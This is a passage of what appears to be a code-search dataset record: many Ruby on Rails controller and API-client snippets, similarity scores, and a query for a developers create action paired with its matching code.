"def show\n @major = Major.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @major }\n end\n end",
"def new\n @project_developer = ProjectDeveloper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_developer }\n end\n end",
"def index\n @apps = @client.apps\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @apps }\n end\n end",
"def index\n head 404\n # @api_v1_followers = Api::V1::Follower.all\n\n # render json: @api_v1_followers\n end",
"def show\n @api = Api.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api }\n end\n end",
"def show\n @api = Api.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @api }\n end\n end",
"def show\n @heroku = Heroku.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @heroku }\n end\n end",
"def show\n @project = @client.projects.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def users_for_a_project\n uri = \"#{@api_url}/#{@project_id}/users?access_token=#{@access_token}\"\n get uri\n end",
"def developer_details\n authenticate_request('Developer')\n if @current_user && @current_user.is_developer\n details = @current_user.as_json\n details.delete(\"oauth_token\")\n details.delete(\"oauth_expires_at\")\n details.delete(\"password\")\n details.delete(\"password_digest\")\n search_params = { agent_id: @current_user.id } \n api = PropertySearchApi.new(filtered_params: search_params)\n api.modify_filtered_params\n api.apply_filters\n\n ### THIS LIMIT IS THE MAXIMUM. CAN BE BREACHED IN AN EXCEPTIONAL CASE\n #api.query[:size] = 10000\n udprns, status = api.fetch_udprns\n total_count = api.total_count\n details[:properties_count] = total_count\n first_agent = @current_user.branch.assigned_agents.unscope(where: :is_developer).where(is_developer: true).order('id asc').first\n details[:first_agent_invited_agents] = InvitedDeveloper.where(entity_id: first_agent.id).count\n details[:friends_family_count] = InvitedVendor.where(agent_id: @current_user.id).where(source: Vendor::INVITED_FROM_CONST[:family]).count\n render json: details, status: 200\n end\n end",
"def show\n if current_api_user.id == @user.id\n render json: @user.as_json(except: [:updated_at])\n else\n render json: @user.as_json(except: [:google_id, :updated_at])\n end\n end",
"def show\n json = self.as_json(only: [:created_at, :version])\n json['url'] = doi_url\n json\n end",
"def info(kind)\n login_as :place1_admin\n get :info, :kind => kind\n\n # See if the response is success\n assert_equal \"200\", @response.code\n\n return JSON.parse(@response.body)\n end",
"def show\n render_result('Current API has no definition for just calling /docs. Call /docs/changes or /docs/deletes')\n end",
"def show\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @undergraduate_major }\n end\n end",
"def get_user_info\n get(\"/api/v1/oauth_user_info.json\")\n end",
"def show\n render json: @api_user\n end",
"def index\n @api_v1_user_device_infos = Api::V1::UserDeviceInfo.all\n end",
"def list\n get 'projects'\n end",
"def show\n @ourproject = Ourproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def index\n if(current_user.has_role?(:developer))\n @todos = Todo.where(developer_id: current_user.id, project_id: params[:project_id])\n else\n @todos = Todo.where(project_id: params[:project_id])\n end\n render json: @todos\n end",
"def show\n id = shift_argument || raise(Heroku::Command::CommandFailed, \"Usage: clients:show [ID]\")\n\n client = request do\n api.request(\n :expects => 200,\n :headers => headers,\n :method => :get,\n :path => \"/oauth/clients/#{CGI.escape(id)}\"\n ).body\n end\n\n if options[:shell]\n puts \"HEROKU_OAUTH_ID=#{client[\"id\"]}\"\n puts \"HEROKU_OAUTH_SECRET=#{client[\"secret\"]}\"\n else\n styled_header(%{Client \"#{client[\"name\"]}\".})\n styled_hash(client)\n end\n end",
"def show\n @external_organization = ExternalOrganization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @external_organization }\n end\n end",
"def show\n @generator_info = GeneratorInfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @generator_info }\n end\n end",
"def show\n @vendor = Vendor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vendor }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def info(url)\n rest = RestClient::Request.execute(\n method: :get,\n url: url,\n user: ENV['USER'],\n password: ENV['KEY'],\n headers: {\"Content-Type\" => \"application/json\"}\n )\n JSON.parse(rest, :symbolize_names => true)\n rescue RestClient::Exception\n \"Sorry something went wrong with the API\"\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def apiCall(token)\n # Authorize the client and construct a Google+ service.\n $client.authorization.update_token!(token)\n plus = $client.discovered_api('plus', 'v1')\n\n # Get the list of people as JSON and return it.\n response = $client.execute!(plus.people.get, :userId => 'me').body\n puts response.inspect\nend",
"def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def show\n @brief_vendor = BriefVendor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @brief_vendor }\n end\n end",
"def show\n render json: Project.where(id: params.fetch(:id))\n end",
"def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end",
"def overview\n request_uri = \"#{@api_endpoint}/#{@key}\"\n HTTParty.get(request_uri)\n end",
"def index\n @commits = Commit.joins(:developer).select(:commit_hash, :email, :date_created)\n render_json_for_api @commits\n end",
"def show\n @user_app = UserApp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_app }\n end\n end",
"def show\n @rubygem = Rubygem.find(params[:id])\n\n render json: @rubygem\n end",
"def show\n @watch_site = WatchSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watch_site }\n end\n end",
"def show\n @document = Document.where(:id => params[:id])\n render :json => @document, :include => [:versions]\n end",
"def major_developments_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.major_developments ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling DefaultApi.major_developments\"\n end\n # resource path\n local_var_path = '/major-development'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'symbol'] = symbol\n query_params[:'from'] = opts[:'from'] if !opts[:'from'].nil?\n query_params[:'to'] = opts[:'to'] if !opts[:'to'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'MajorDevelopments' \n\n # auth_names\n auth_names = opts[:auth_names] || ['api_key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#major_developments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def show\n @project = Project.find(params[:id], :include => {:gem_versions => :gem})\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @project }\n end\n end",
"def show\n team = Team.find_by(:id => params[:id])\n render :json => team\n end",
"def show\n @project = Project.find(params[:id])\n\t@user = User.find(@project.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n organization = current_user.organizations.find(params[:id])\n if organization\n render json: organization, status: 200\n else\n head 404\n end\n end",
"def index\n @devices = Device.where(:user_id, auth_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @devices }\n end\n end",
"def show\n @githuber = Githuber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @githuber }\n end\n end",
"def index\n head 404\n # @api_v1_followings = Api::V1::Following.all\n\n # render json: @api_v1_followings\n end",
"def show\n @projects_person = ProjectsPerson.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects_person }\n end\n end",
"def show\n repo = ProjectRepo.new current_user\n @v_project = repo.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_project }\n end\n end",
"def info\n get '/'\n end",
"def show\n @project = ProjectDecorator.find_by_name(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project }\n end\n end",
"def show\n @admin_version = Admin::Version.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_version }\n end\n end",
"def show\n set_surrogate_key_header \"api/platforms/#{@platform.id}/projects\"\n set_cache_control_headers 3600\n end",
"def show\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @go_slim }\n end\n end",
"def show\n #@config_file = ConfigFile.find(params[:id])\n @config_file = current_user.developer.config_files.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @config_file }\n end\n end",
"def show\n @uni_major = UniMajor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @uni_major }\n end\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def show\n @engineering_project = EngineeringProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @engineering_project }\n end\n end",
"def show\n render status: 200, json: Team.find(params[:id])\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def show\n @app = App.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @app }\n end\n end",
"def new\n @developer = Developer.new\n @developer.user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @developer }\n end\n end",
"def show\n @tech_id = TechId.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tech_id }\n end\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def index\n @programs = Program.where(:user_id => current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @programs }\n end\n end"
] |
[
"0.72456825",
"0.6901353",
"0.6870294",
"0.67929643",
"0.67489284",
"0.67489284",
"0.67489284",
"0.67489284",
"0.67489284",
"0.67489284",
"0.6597",
"0.6539458",
"0.64249945",
"0.6401899",
"0.6276624",
"0.617692",
"0.6144533",
"0.61065406",
"0.6101274",
"0.60991246",
"0.6032676",
"0.6025921",
"0.5998807",
"0.59883124",
"0.59775656",
"0.59432006",
"0.5915378",
"0.5897895",
"0.5893689",
"0.5893673",
"0.58877987",
"0.58820665",
"0.58670366",
"0.58466667",
"0.5846366",
"0.58369017",
"0.5808252",
"0.5780641",
"0.5760878",
"0.5757483",
"0.5750965",
"0.57488793",
"0.57466525",
"0.572828",
"0.5727962",
"0.57265425",
"0.57258093",
"0.5720082",
"0.5714404",
"0.57126224",
"0.57100964",
"0.5706835",
"0.56898284",
"0.5688869",
"0.5674627",
"0.56745297",
"0.5671023",
"0.56707007",
"0.56648153",
"0.5658831",
"0.5655062",
"0.563984",
"0.5632879",
"0.56328493",
"0.56289",
"0.5628388",
"0.562836",
"0.5625369",
"0.5625369",
"0.5619879",
"0.5618168",
"0.5616726",
"0.5614862",
"0.56142646",
"0.5611302",
"0.5610682",
"0.5607504",
"0.5601773",
"0.5601536",
"0.56002086",
"0.559985",
"0.5590901",
"0.5583262",
"0.5582046",
"0.5578427",
"0.5576515",
"0.557388",
"0.5571676",
"0.5570975",
"0.55699927",
"0.55677444",
"0.5565157",
"0.55594933",
"0.5558562",
"0.5552989",
"0.5552989",
"0.5552989",
"0.5547899",
"0.55458915",
"0.55447364",
"0.5542788"
] |
0.0
|
-1
|
POST /developers POST /developers.json
|
def create
@developer = Developer.new(developer_params)
respond_to do |format|
if @developer.save
format.js
format.html { redirect_to root_path, notice: 'Developer was successfully created.' }
format.json { render :show, status: :created, location: @developer }
else
format.html { render :new }
format.json { render json: @developer.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def developer_params\n params.require(:developer).permit(:name, :email, :url, :tags, :work_place, :code_name, :bio, :approval_status)\n end",
"def developer_params\n params.require(:developer).permit(:name, :description, :logo_url, :adress, :avatar)\n end",
"def developer_params\n params.require(:developer).permit(:first_name, :last_name, :profile, :email_id, :github_id, :phone_number)\n end",
"def create\n @developer = Developer.new(developer_params)\n\n respond_to do |format|\n if @developer.save\n UserMailer.welcome_email(@developer).deliver\n format.html { redirect_to developers_path, notice: \"Developer #{@developer.name} was successfully created.\" }\n format.json { render :show, status: :created, location: @developer }\n else\n format.html { render :new }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def developer_params\n params.require(:developer).permit(:name, :email, :password, :project_id, :story_id)\n end",
"def developer_params\n params.require(:developer).permit(:name, :level, :avatar, :user_id, techs: [])\n end",
"def create\n @developer = Developer.new(developer_params)\n\n respond_to do |format|\n if @developer.save\n format.html { redirect_to @developer, notice: \"Developer was successfully created.\" }\n format.json { render :show, status: :created, location: @developer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def developer_params\n params.require(:developer).permit(:full_name, :email, :mobile)\n end",
"def developer_params\n params.require(:developer).permit(:project_id, :name, :email, :password)\n end",
"def developer_params\n params.require(:developer).permit(:dev_name, projects_attribute: [:name, :started, :deadline, :description])\n end",
"def create\r\n @developer = Developer.new(developer_params)\r\n respond_to do |format|\r\n if @developer.save\r\n # UserMailer.welcome_email(@developer).deliver_now\r\n format.html { redirect_to admins_path, notice: 'Developer was created and an email was sent to registered developer.' }\r\n format.json { render :show, status: :created, location: @developer }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @developer.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def developer_params\n params.require(:developer).permit(:email, :password)\n end",
"def create\n @project = Project.new(project_params)\n @project.project_developers.new(developer_id: current_user.id, is_creator: true)\n respond_to do |format|\n if @project.save\n format.html { redirect_to add_developer_project_url(@project), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n official = Official.new(official_params)\n if official.save\n render json: official, status: 201, location: [:api, official]\n else\n failed_to_create(official, \"official\")\n end\n end",
"def index\n @developers = Developer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @developers }\n end\n end",
"def new\n @development = Development.new\n @development.developer = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @development }\n end\n end",
"def create\n @development = Development.new(params[:development])\n @development.developer = current_user\n respond_to do |format|\n if @development.save\n format.html { redirect_to @development, notice: 'Development was successfully created.' }\n format.json { render json: @development, status: :created, location: @development }\n else\n format.html { render action: \"new\" }\n format.json { render json: @development.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_developer = ProjectDeveloper.new(params[:project_developer])\n\n respond_to do |format|\n if @project_developer.save\n format.html { redirect_to @project_developer, notice: 'Project developer was successfully created.' }\n format.json { render json: @project_developer, status: :created, location: @project_developer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project_developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @app = App.new(app_params)\n #added code for realizers list\n\t#@developers = Developer.where(:id => params[:realizers])\n #logger.debug \"DEVELOPER: #{@developers.inspect} \\n\"\n\t#@app.developers << @developers \n #logger.debug \"DEVELOPERS: #{@app.developers.inspect} \\n\"\n\t#end code\n\n respond_to do |format|\n if @app.save\n @app.developers << current_dev \n format.html { redirect_to @app, notice: 'App was successfully created.' }\n format.json { render :show, status: :created, location: @app }\n else\n format.html { render :new }\n format.json { render json: @app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ms_developer = MsDeveloper.new(params[:ms_developer])\n\n respond_to do |format|\n if @ms_developer.save\n format.html { redirect_to @ms_developer, notice: 'Ms developer was successfully created.' }\n format.json { render json: @ms_developer, status: :created, location: @ms_developer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ms_developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @developer = Developer.new(developer_params)\n @developer.created_by = current_user.id\n respond_to do |format|\n if @developer.save\n format.html { redirect_to @developer, notice: \"Застройщик #{@developer.name} успешно добавлен\" }\n format.json { render :show, status: :created, location: @developer }\n else\n format.html { render :new }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @developer = Developer.new(developer_params)\n dev_user = create_developer_user(@developer, user_params)\n respond_to do |format|\n if dev_user.dig(:status)\n format.html { redirect_to dev_user.dig(:developer), notice: 'Developer was successfully created.' }\n format.json { render :show, status: :created, location: dev_user.dig(:developer) }\n else\n format.html { render :new }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def app_add_developers(app_dxid, developers)\n call(app_dxid, \"addDevelopers\", developers: developers)\n end",
"def developer_params\r\n params.require(:developer).permit(:name,:email, :password, :password_confirmation,:project_id, :story_id)\r\n end",
"def developer_params\n params.require(:developer).permit(:name, :manager)\n end",
"def create\n @developer = Developer.new(developer_params)\n\n respond_to do |format|\n if @developer.save\n UserMailer.welcome_email(@developer).deliver\n format.html { redirect_to @developer, notice: \"Developer was successfully created, a confirmation email has been sent to the developer's mailbox\" }\n format.json { render :show, status: :created, location: @developer }\n else\n format.html { render :new }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @developer = Developer.new\n @developer.user = User.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @developer }\n end\n end",
"def developerTeamParams\n params.permit(:developer_ids)\n end",
"def developer_project_params\n params.require(:developer_project).permit(:name, :github_url, :web_url, :image_url, :library, :detail, :admin_id)\n end",
"def index\n @developers = Developer.all\n respond_to do |format|\n format.html\n format.xml {render xml: @developers.as_json}\n end\n end",
"def create\n authorize! :create, Employee\n @developer = @organization.employees.new(developer_params)\n @developer.password = params[:employee][:name]\n @developer.role = :developer\n @developer.skip_organization_details = true\n\n respond_to do |format|\n if @developer.save\n format.html { redirect_to developer_url(@developer), notice: 'Developer was successfully created.' }\n format.json { render :show, status: :created, location: @developer }\n else\n format.html { render :new }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @developer = Developer.new(params[:developer])\n \n @developer.email = 'none'\n @developer.password = 'none'\n @developer.name = 'none'\n @developer.surname = 'none'\n @developer.user.role = Role.find_by_title('developer')\n \n respond_to do |format|\n if @developer.save\n format.html { redirect_to login_path, notice: 'Developer was successfully created.' }\n format.json { render json: @developer, status: :created, location: @developer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @project_developer = ProjectDeveloper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project_developer }\n end\n end",
"def create\n @developer = Developer.new(developer_params)\n\n respond_to do |format|\n if @developer.save\n format.html { redirect_to :controller => 'developer_login', action:'login_form', notice: 'Developer was successfully created.' }\n format.json { render action: 'show', status: :created, location: @developer }\n else\n format.html { render action: 'new' }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url }\n format.json { head :no_content }\n end\n end",
"def new\n @ms_developer = MsDeveloper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ms_developer }\n end\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def index\n @developers = Developer.all\n end",
"def developers\n self.sitemap\n self.follow('dtime:dashboard:developers')\n self.get\n self\n end",
"def create\n megam_rest.post_appreq(to_hash)\n end",
"def project_params\n params.permit(:id, :name, :description, developer_ids: [])\n end",
"def create\n megam_rest.post_appdefn(to_hash)\n end",
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def post_api(path, params={}, headers={})\n headers.merge!('CONTENT_TYPE' => \"application/json\")\n post path, params, headers\nend",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def developer_params\n params.require(:employee).permit(\n :name, :email\n )\n end",
"def destroy\n @developer = Developer.find(params[:id])\n @developer.destroy\n\n respond_to do |format|\n format.html { redirect_to developers_url }\n format.json { head :no_content }\n end\n end",
"def update_params\n #json_data = request.raw_post()\n #params.require(:reference_number).permit(:name, :email, :twitter)\n params.permit(:dependents)\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def get_developer_detail\n service_response = ClientManagement::DeveloperDetail.new(params).perform\n render_api_response(service_response)\n end",
"def team_params\n params.require(:team).permit(:name, :dept_name, developer_ids: [])\n end",
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v2_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def post(path, data = {})\n self.class.post path, :body => data.merge(:u => access_token)\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: \"Developer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: \"Developer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @developer.destroy\n respond_to do |format|\n format.html { redirect_to developers_url, notice: 'Developer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: \"Developer was successfully updated.\" }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mf_api_manually_add_user\n\n # Create new User\n user = User.new\n\n # Populate User\n user.clientid = params[:client_id]\n user.email = params[:email]\n\n user.save\n\n response = {\n success: true,\n message: 'New User Created!'\n }\n\n render json: response\n\n end",
"def destroy\n @dev = @app.developers.first.id\n @app.destroy\n respond_to do |format|\n format.html { redirect_to developer_path(@dev), notice: 'App was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @welcom_development = WelcomDevelopment.new(params[:welcom_development])\n\n respond_to do |format|\n if @welcom_development.save\n format.html { redirect_to @welcom_development, notice: 'Welcom development was successfully created.' }\n format.json { render json: @welcom_development, status: :created, location: @welcom_development }\n else\n format.html { render action: \"new\" }\n format.json { render json: @welcom_development.errors, status: :unprocessable_entity }\n end\n end\n end",
"def devotional_params\n params.require(:devotional).permit(:title, :subtitle, :posted_at, :content, :user_id)\n end",
"def post\n Salesforce.set_http(session[:accesstoken], session[:accessurl])\n \t@response = Salesforce.create_post(params)\n \trespond_to do |format|\n format.json { render :json => @response.to_json}\n # example of multiple reponses mapped to one object\n # format.json { render :json => {:data => @response, :meta => @describe}.to_json}\n \tend\n end",
"def api_register\n creator = Creator.new(submits: 0, name: request.headers['name'],password: request.headers['password'],password_confirmation: request.headers['password'])\n if creator.save\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n error = create_error_message\n error[:developerMessage] = creator.errors\n selected_format(error, :bad_request)\n end\n end",
"def post_with_app(url, payload = '')\n github_api_conn.post do |request|\n request.url url\n\n request.headers['Authorization'] = \"Token #{access_token}\"\n request.headers['Accept'] = accept_header\n request.body = payload\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @developer.update(developer_params)\n format.html { redirect_to @developer, notice: 'Developer was successfully updated.' }\n format.json { render :show, status: :ok, location: @developer }\n else\n format.html { render :edit }\n format.json { render json: @developer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def official_params\n params.require(:official).permit(:title, :url)\n end",
"def create\n @api = Api.new(api_params)\n current_user.apis << @api\n respond_to do |format|\n\n if @api.save\n format.html { redirect_to user_path(current_user), notice: 'Api-nyckeln har skapats' }\n format.json { render :show, status: :created, location: @api }\n else\n format.html { render :new }\n format.json { render json: @api.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def test_create_lead\n client.expects(:request).with(:post, 'https://api.com/rest/sites/site-123/leads',\n '{\"email\":\"lead@gmail.com\"}', nil)\n\n client.create_lead(\"site-123\", {email: \"lead@gmail.com\"})\n end",
"def new\n @welcom_development = WelcomDevelopment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @welcom_development }\n end\n end",
"def post(api, params)\n url2json(:POST, \"#{@endpoint}#{api}\", params)\n end",
"def test_should_create_link_via_API_JSON\r\n get \"/logout\"\r\n post \"/links.json\", :api_key => 'testapikey',\r\n :link => {:user_id => 1,\r\n :title => 'API Link 1',\r\n :url => 'http://www.api.com'}\r\n assert_response :created\r\n link = JSON.parse(response.body)\r\n check_new_link(link) \r\n end",
"def create\n @dev_activity = current_user.dev_activities.create(dev_activity_params)\n\n respond_to do |format|\n if @dev_activity.save\n format.html { redirect_to user_dev_activities_path(current_user), notice: 'The Development Activity was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dev_activity }\n else\n format.html { render action: 'new' }\n format.json { render json: @dev_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postUser( email, user_id, first_name, last_name, active, trust, creation_date, user_type, social_network, social_network_id, reseller_admin_masheryid, group_id, admin_upgrader)\n params = Hash.new\n params['email'] = email\n params['user_id'] = user_id\n params['first_name'] = first_name\n params['last_name'] = last_name\n params['active'] = active\n params['trust'] = trust\n params['creation_date'] = creation_date\n params['user_type'] = user_type\n params['social_network'] = social_network\n params['social_network_id'] = social_network_id\n params['reseller_admin_masheryid'] = reseller_admin_masheryid\n params['group_id'] = group_id\n params['admin_upgrader'] = admin_upgrader\n return doCurl(\"post\",\"/user\",params)\n end",
"def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"def post options\n rest_request({ method: :post }.merge(options))\n end",
"def post options\n rest_request({ method: :post }.merge(options))\n end",
"def project_params\n params[:project][:developer_ids] << current_user.id.to_s if params[:project].present? && params[:project][:developer_ids].present?\n params.require(:project).permit(:name, :description, developer_ids: [], todos_attributes: [:id, :title, :description, :_destroy])\n end",
"def development_params\n params.require(:development).permit(:name, :description, :logo)\n end",
"def test_should_create_post_via_API_JSON\r\n get \"/logout\"\r\n post \"/forum_posts.json\", :api_key=>'testapikey',\r\n :forum_post => {:title=>'API Test Post',\r\n :body=>'Test Post desc',\r\n :user_id=>1}\r\n assert_response :created\r\n topic = JSON.parse(response.body)\r\n assert topic['title'] == 'API Test Post', 'Incorrect topic title'\r\n assert topic['user_id'] == 1, 'Incorrect user id'\r\n assert topic['body'] == 'Test Post desc', 'Incorrect topic description' \r\n end",
"def api_request(name) \n\tresponse = HTTParty.post('https://api.talentiq.co/v2/person', \n :body => {:name => name }.to_json,\n :headers => { 'Content-Type' => 'application/json', \n \t\t\t'x-api-key:' => 'e058cdd334c69c31d45d87e44b405d128a9e8937939e7d0ab2496334',\n 'Accept' => 'application/json' })\n puts response.body\nend",
